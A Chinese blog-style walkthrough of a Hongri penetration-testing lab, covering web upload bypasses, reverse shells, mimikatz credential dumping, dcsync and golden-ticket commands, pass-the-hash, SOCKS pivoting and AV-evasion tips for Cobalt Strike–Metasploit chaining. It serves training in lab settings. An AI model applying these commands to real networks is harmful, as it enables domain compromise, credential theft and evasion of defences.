1. 项目概述:一次贴近实战的内网攻防演练
最近在复现红日靶场,这确实是一个非常好的内网渗透学习环境。它模拟了一个典型的企业网络,从外网的一台Web服务器入手,逐步渗透到内网,最终目标是拿下域控制器。整个过程几乎涵盖了从信息收集、漏洞利用、权限提升、横向移动到域渗透的完整攻击链。很多朋友在复现时,可能会卡在某些环节,比如如何将CS(Cobalt Strike)和MSF(Metasploit)这两个神器联动起来,实现优势互补。今天,我就结合自己的实战踩坑经验,把这个从外网打到域控的完整流程,以及工具联动的核心技巧,掰开揉碎了讲清楚。
这个靶场环境的核心价值在于它的“真实性”。它不是孤立的漏洞利用,而是构建了一个包含DMZ区、办公网、核心服务器区的多层次网络。攻击者需要像真正的渗透测试人员一样,思考如何突破边界、在内网隐蔽移动、定位关键资产(如域控)、并最终获取最高权限。在这个过程中,CS负责团队协作、Payload投递和持久化控制,而MSF则凭借其庞大的漏洞利用库和后期利用模块提供强大的火力支援。两者的结合,能让你的渗透测试如虎添翼。无论你是想巩固内网渗透知识体系的新手,还是希望优化自己攻击流程的老手,这次演练都能给你带来实实在在的收获。
2. 环境搭建与拓扑理解
2.1 靶场环境还原与网络配置
红日靶场通常提供的是虚拟机镜像文件,我们需要在VMware或VirtualBox中将其还原。常见的环境包含三台虚拟机:一台作为外网攻击机(我们自己的Kali Linux),一台是靶场的外网Web服务器(通常为Windows Server 2008,双网卡),另一台则是内网的域控制器(Windows Server 2012)。Web服务器扮演着关键角色,它一块网卡连接着模拟的互联网(与我们的Kali在同一网段,如192.168.1.0/24),另一块网卡连接着内部办公网络(如192.168.52.0/24)。域控制器则只存在于内网中。
在启动所有虚拟机后,第一件事不是急着攻击,而是理清网络拓扑。你需要确认各台机器的IP地址。在Kali上使用arp-scan或nmap扫描整个网段,找到Web服务器的外网IP。然后,通过Web服务器获取到的shell,去探测其内网网卡信息,进而发现内网网段。这个步骤看似基础,却至关重要,因为后续所有的横向移动都依赖于对网络结构的清晰认知。我个人的习惯是画一张简单的拓扑图,标明每个IP、角色和可能的攻击路径,这样在复杂的渗透过程中不容易迷失方向。
注意:确保你的攻击机(Kali)的网络适配器设置为“桥接模式”或与靶场外网段在同一NAT网络下,否则无法与靶机通信。同时,靶场的内网虚拟机之间应使用“仅主机模式”或自定义的私有网络连接,以模拟真实的内网隔离环境。
2.2 攻击工具栈准备:Kali、CS与MSF
工欲善其事,必先利其器。我们的核心工具是Kali Linux,它预装了MSF。你需要确保MSF更新到最新状态,虽然红日靶场的漏洞相对固定,但保持工具更新是好习惯。命令很简单:sudo apt update && sudo apt upgrade metasploit-framework。
更关键的是Cobalt Strike(CS)的部署。由于CS是商业工具,我们需要使用其团队服务器(TeamServer)。你可以将CS的jar包上传到一台VPS(用于真实演练)或者就在本地Kali上运行(用于本地靶场测试)。启动TeamServer的命令类似:./teamserver <你的VPS_IP> <连接密码> [配置文件]。启动后,在你的Windows客户端上(或Kali上使用Java运行客户端)连接这个团队服务器。CS客户端的配置主要是设置连接地址、端口和密码。成功连接后,你就拥有了一个可视化的攻击指挥中心。
接下来是联动配置。CS的强大之处在于它可以作为MSF的一个“中转站”或“载荷投递器”。我们需要在MSF中启动一个监听器,并允许CS的会话回连。通常,我们在MSF中利用exploit/multi/handler模块,设置好Payload(如windows/meterpreter/reverse_http)和LHOST/LPORT。然后,在CS的“攻击”菜单中,选择“MSF Payload联动”,填写MSF监听器的IP和端口。这样,当CS投递的载荷被执行后,会话不仅会回到CS,也会同时反弹到MSF,实现会话共享。这一步的细节和常见错误,我们会在后面的联动技巧部分详细展开。
3. 外网突破:信息收集与漏洞利用
3.1 全方位信息收集与端口扫描
面对外网的Web服务器,我们首先要进行全面的信息收集。使用nmap进行端口扫描是第一步。命令可以这样组合,以获取尽可能详细的信息:nmap -sS -sV -O -p- -T4 -A <目标IP>。-sS是SYN半开扫描,相对隐蔽;-sV探测服务版本;-O尝试识别操作系统;-p-扫描所有65535个端口;-T4设置速度;-A启用操作系统和版本检测、脚本扫描和路由跟踪。
扫描结果可能会显示开放了80(HTTP)、443(HTTPS)、21(FTP)、3306(MySQL)等常见端口。红日靶场的外网入口通常是一个Web应用。因此,我们需要对Web服务进行深度探测。使用dirb、gobuster或ffuf进行目录爆破,寻找后台登录页面、上传点、配置文件等。同时,用浏览器访问网站,手工测试每一个功能点,查看前端源码,寻找注释、隐藏链接或JS文件中的敏感信息。用nikto或Wappalyzer(浏览器插件)识别Web框架、中间件和组件版本,这些信息是寻找已知漏洞的关键。
除了自动工具,手动测试至关重要。检查是否存在默认口令(如admin/admin)、查看robots.txt文件、测试URL参数是否存在SQL注入或文件包含。对于发现的任何输入点,都要用Burp Suite抓包,进行详细的参数测试。这个阶段切忌急躁,细致的信息收集往往能发现意想不到的突破口,比如一个暴露的phpMyAdmin页面,或者一个存在弱口令的FTP服务,都可能成为进入内网的捷径。
3.2 Web漏洞利用与初始立足点获取
在红日靶场中,外网突破的常见路径是通过Web漏洞。假设我们通过目录扫描发现了一个/admin/login.php后台,并且通过弱口令爆破(使用hydra或Burp的Intruder)成功登录。进入后台后,寻找文件上传功能是获取Webshell的经典方法。
如果存在文件上传,我们需要绕过可能的防护。常见的防护有前端JS验证、后端MIME类型检查、后缀名黑名单等。对于前端验证,直接抓包修改文件名即可绕过。对于后端检查,可以尝试多种绕过技巧:将一句话木马写入图片的EXIF信息(用exiftool),然后上传时修改Content-Type为image/jpeg;或者使用双写后缀(如shell.pphphp)、大小写混淆(Shell.PhP)、在末尾加空格或点(shell.php.,Windows系统可能会自动去除最后的点);更高级的可以利用解析漏洞(如IIS6.0的/xx.asp;.jpg)。
上传成功后,我们需要用CS或MSF生成一个Payload。这里以CS为例,在“攻击” -> “生成后门”中,选择“Windows可执行文件(Stageless)”,监听器选择你事先在CS中创建好的(如windows/beacon_http/reverse_http)。生成一个.exe文件。但是,直接上传exe可能被拦截。更好的方法是上传一个图片马,然后利用文件包含漏洞执行其中的代码。或者,如果服务器允许,上传一个.txt文件,然后通过本地文件包含(LFI)结合日志注入、PHP伪协议(php://input)等方式来执行代码。
一旦找到方法将我们的Payload上传并执行,我们就在Web服务器上获得了最初的立足点——一个反弹shell会话。这个会话会回连到我们的CS团队服务器,在CS的“视图” -> “主机”中,你应该能看到新上线的主机。至此,我们成功从外网打入了内网边界。
4. 内网横向移动与权限提升
4.1 内网信息收集与凭据窃取
拿到Web服务器的shell后,我们相当于进入了内网的“前哨站”。接下来的首要任务是以这台机器为跳板,进行内网信息收集。在CS的Beacon命令行中,我们可以执行一系列命令。输入shell whoami /all查看当前权限和所属组。输入ipconfig /all查看内网网卡IP、DNS服务器(很可能就是域控的IP)。输入net view或net group “domain computers” /domain(如果已加入域)查看域内机器。
更深入的信息收集需要借助工具。我们可以将CS内置的mimikatz插件注入到当前进程,直接抓取内存中的明文密码或哈希。命令是:在Beacon中输入mimikatz,然后执行privilege::debug提权,再执行sekurlsa::logonpasswords。如果成功,你可能会获取到本地管理员密码,甚至是域用户的密码哈希。这些凭据是横向移动的“通行证”。
除了mimikatz,还可以使用hashdump命令直接导出SAM数据库中的本地用户哈希。如果获取到的是NTLM哈希,我们可以尝试进行“哈希传递”攻击。例如,使用CS的psexec或psexec_psh模块,指定目标内网机器IP和获取到的哈希,尝试进行横向移动。另一种方法是使用net use命令配合获取的明文密码,直接连接目标共享。这个阶段的目标是尽可能多地收集内网主机信息、用户凭据和网络拓扑,为下一步的横向扩散做准备。
4.2 系统漏洞利用与权限提升
在横向移动过程中,我们可能会遇到权限不足的情况。例如,我们通过凭据窃取获得了某台内网主机的普通用户权限,但需要提升到SYSTEM或管理员权限才能进行更深度的操作。这时就需要进行本地权限提升。
首先,在CS的Beacon中,输入run post/windows/gather/enum_patches(这是一个MSF模块,通过CS的execute-assembly或psinject功能运行)来枚举系统已安装的补丁。然后,将缺失的补丁编号与公开的提权漏洞库(如windows-kernel-exploits)进行对比,寻找可用的本地提权EXP。
例如,如果发现系统缺少MS17-010(永恒之蓝)补丁,虽然它主要是一个横向移动漏洞,但其部分利用链也可用于本地提权。更常见的是利用一些经典的本地提权漏洞,如CVE-2021-36934(HiveNightmare)、CVE-2021-1675(PrintNightmare)等。我们可以将对应的EXP可执行文件上传到目标主机,然后通过Beacon的shell命令执行。或者,使用MSF中对应的本地提权模块,通过CS与MSF的会话联动,将MSF的会话迁移到目标进程,再运行getsystem命令。
除了漏洞利用,还可以利用系统配置错误。例如,检查是否有服务路径权限问题(可写服务路径)、AlwaysInstallElevated策略是否启用、计划任务是否有可写脚本等。使用PowerUp.ps1这样的PowerShell脚本可以自动化检测这些常见的提权向量。我们可以通过CS的powershell-import和powershell命令在内存中加载并执行该脚本,快速识别提权机会。提升权限后,我们就能更自由地抓取密码、安装后门、并以此为新的跳板,向网络深处(如域控制器)进发。
5. 域渗透与域控提权
5.1 域内定位与关键信息搜集
当我们通过横向移动,控制了一台域成员机器后,渗透的重心就转向了域环境本身。首先需要精准定位域控制器。之前通过ipconfig看到的DNS服务器地址,大概率就是域控的IP。我们可以用nslookup命令查询域名的SRV记录来确认:nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名>。
接下来,进行深入的域内信息枚举。在CS的Beacon中,可以输入一系列net命令:net group “domain admins” /domain查看域管理员组有哪些成员;net group “domain controllers” /domain查看所有域控;net user /domain列出所有域用户;net user <用户名> /domain查看指定域用户的详细信息,包括最后登录时间、所属组等。这些信息能帮助我们描绘出域内的权力结构和攻击路径。
更高效的工具是BloodHound。我们需要在攻击机上运行BloodHound的采集器SharpHound.exe。通过CS的upload功能将其上传到已控的域成员主机,然后在Beacon中执行shell SharpHound.exe -c All。采集完成后,会生成一个.zip文件,将其下载回本地,并导入到BloodHound图形化界面中。BloodHound会自动分析域内用户、组、计算机之间的关系,并以可视化图表的形式,清晰地展示出从当前已控机器到域管理员的最短攻击路径,例如“谁对哪台机器有本地管理员权限”、“哪些用户是敏感组的成员”等。这能极大提高我们攻击的针对性和效率。
5.2 攻击域控制器与获取域管权限
根据信息收集的结果,我们通常有几种路径攻击域控。最经典的莫过于“金票攻击”。前提是我们要获取到krbtgt用户的NTLM哈希。krbtgt是域控上用于加密和签署Kerberos票据的账户。一旦拿到它的哈希,我们就可以伪造任意用户的黄金票据(Golden Ticket),从而获得域内任意服务的访问权限。
要获取krbtgt哈希,通常需要先获得域控的SYSTEM权限。我们可以通过之前提到的横向移动方法,比如利用MS17-010漏洞攻击域控,或者通过控制了一台对域控有管理员权限的成员服务器(通过BloodHound发现),使用psexec或WMI等方式在域控上执行命令。在域控上,使用mimikatz执行:
lsadump::dcsync /domain:<域名> /user:krbtgt这个命令会模拟域控制器之间的同步协议,直接拉取指定用户(这里是krbtgt)的哈希,而无需在域控上运行mimikatz的sekurlsa模块(后者需要更高的调试权限)。获取到哈希后,在任意已加入域的机器上,用mimikatz生成黄金票据并注入内存:
kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt哈希> /user:任意用户名(如fakeadmin) /ptt执行klist查看当前票据,如果能看到刚刚伪造的票据,就说明成功了。之后,你就可以使用dir \\域控主机名\c$这样的命令直接访问域控的共享,或者通过psexec等工具获取一个域控的SYSTEM权限shell。
另一种常见方法是“MS14-068 Kerberos漏洞”提权,它允许一个普通的域用户将自己提升到域管理员权限。或者利用“委派攻击”,如果发现某台服务器被配置了约束委派或基于资源的约束委派,也可能成为通往域控的跳板。最终,当我们成功在域控上执行命令,并抓取到域内所有用户的哈希(使用mimikatz的lsadump::lsa /patch),就意味着完全控制了整个域环境。
6. CS与MSF深度联动技巧实录
6.1 会话传递与流量中转配置
CS和MSF的联动,核心在于会话的共享和流量的路由。最基础的联动方式我们之前提过:在MSF上启动一个exploit/multi/handler,Payload设置为windows/meterpreter/reverse_http,然后CS生成Payload时选择“MSF Payload联动”指向这个监听器。这样生成的Payload会同时回连CS和MSF。
但更强大的用法是“会话传递”。当我们通过CS的Beacon已经控制了一台内网机器(跳板机),而MSF无法直接访问内网的其他目标时,我们可以将CS的Beacon会话“传递”给MSF,让MSF通过这个Beacon作为代理去攻击内网。首先,在CS的Beacon中,执行socks 1080命令,在CS团队服务器上开启一个SOCKS4a代理,端口是1080。然后,在MSF中,设置代理:setg Proxies socks4:<你的CS团队服务器IP>:1080。这样,MSF的所有扫描和攻击流量都会通过这台跳板机发出。
另一种方法是“会话派生”。在CS中,右键已上线的Beacon,选择“Spawn”。在弹出的对话框中,选择“Foreign Payload”,然后填写MSF监听器的信息(如windows/meterpreter/reverse_tcp, LHOST是MSF所在IP,LPORT是MSF监听端口)。点击“Choose”,CS会利用当前Beacon的会话,在目标机器上启动一个新的进程,并注入MSF的Payload。稍等片刻,你就能在MSF的handler上收到一个来自内网目标的meterpreter会话。这个新会话是完全独立于CS Beacon的MSF会话,你可以使用MSF的全部模块对其进行操作。
6.2 模块互用与实战避坑指南
CS和MSF各有千秋。CS擅长团队协作、钓鱼攻击、隐蔽的C2通信和强大的后渗透扩展(如Aggressor Script)。MSF则拥有海量的漏洞利用模块、后期利用模块(Post模块)和辅助扫描模块。联动能让它们优势互补。
场景一:用MSF扫描内网,用CS维持控制。通过CS的socks代理,我们可以在MSF中使用auxiliary/scanner/portscan/tcp模块扫描内网网段。发现开放服务后,使用MSF对应的漏洞利用模块(如exploit/windows/smb/ms17_010_eternalblue)进行攻击。一旦利用成功,获得一个meterpreter会话。此时,我们可以将这个MSF会话“迁移”到CS。在meterpreter中,使用run命令执行一个由CS生成的stageless Payload(例如一个PowerShell脚本),或者使用meterpreter的upload和execute功能运行CS的beacon.exe。这样,我们就将不稳定的漏洞利用会话,转换成了由CS稳定控制的Beacon会话。
场景二:用CS投递Payload,用MSF进行后期利用。CS在生成钓鱼文档或进行水坑攻击方面非常方便。我们可以用CS制作一个恶意Office文档或可执行文件。当目标触发后,会先回连CS。在CS的Beacon中,我们可以使用psinject或shinject等命令,将MSF的meterpreterPayload注入到目标进程,从而派生一个MSF会话。然后,我们就可以在MSF中使用丰富的Post模块,例如post/windows/gather/enum_logged_on_users(枚举登录用户)、post/windows/manage/migrate(进程迁移)、post/windows/manage/enable_rdp(开启RDP)等,这些模块在CS中可能没有直接对应或不如MSF的全面。
避坑要点:
- 防火墙与杀软:MSF生成的默认
meterpreterPayload很容易被现代杀毒软件检测。而CS的Artifact Kit和Malleable C2 Profile可以高度定制Payload和通信流量,绕过静态和动态检测。因此,初始投递建议使用CS生成经过混淆的Payload。 - 会话稳定性:MSF的
meterpreter会话在网络波动或目标进程结束时可能断开。CS的Beacon支持多种通信协议和心跳机制,通常更稳定。重要目标在取得初始立足点后,应尽快通过spawn或inject的方式迁移到CS Beacon。 - 路径与权限:在通过Beacon执行MSF模块或上传文件时,注意目标系统的路径和当前进程权限。系统目录(如
C:\Windows\System32\)通常需要高权限才能写入。可以使用cd命令切换到可写目录(如用户临时目录%TEMP%)再进行操作。 - 监听器配置:确保CS和MSF的监听器配置正确,特别是IP地址和端口。在多层网络环境下(如攻击机在公网,CS团队服务器在另一台VPS),要仔细设置
LHOST参数,确保它是Payload能够真正回连到的地址。
通过灵活的联动,你可以让CS作为指挥和控制中心,负责Payload投递、会话管理和横向移动的调度;而MSF则作为强大的武器库,负责漏洞利用、深度扫描和专项的后期利用。两者结合,能让你在内网渗透中更加游刃有余。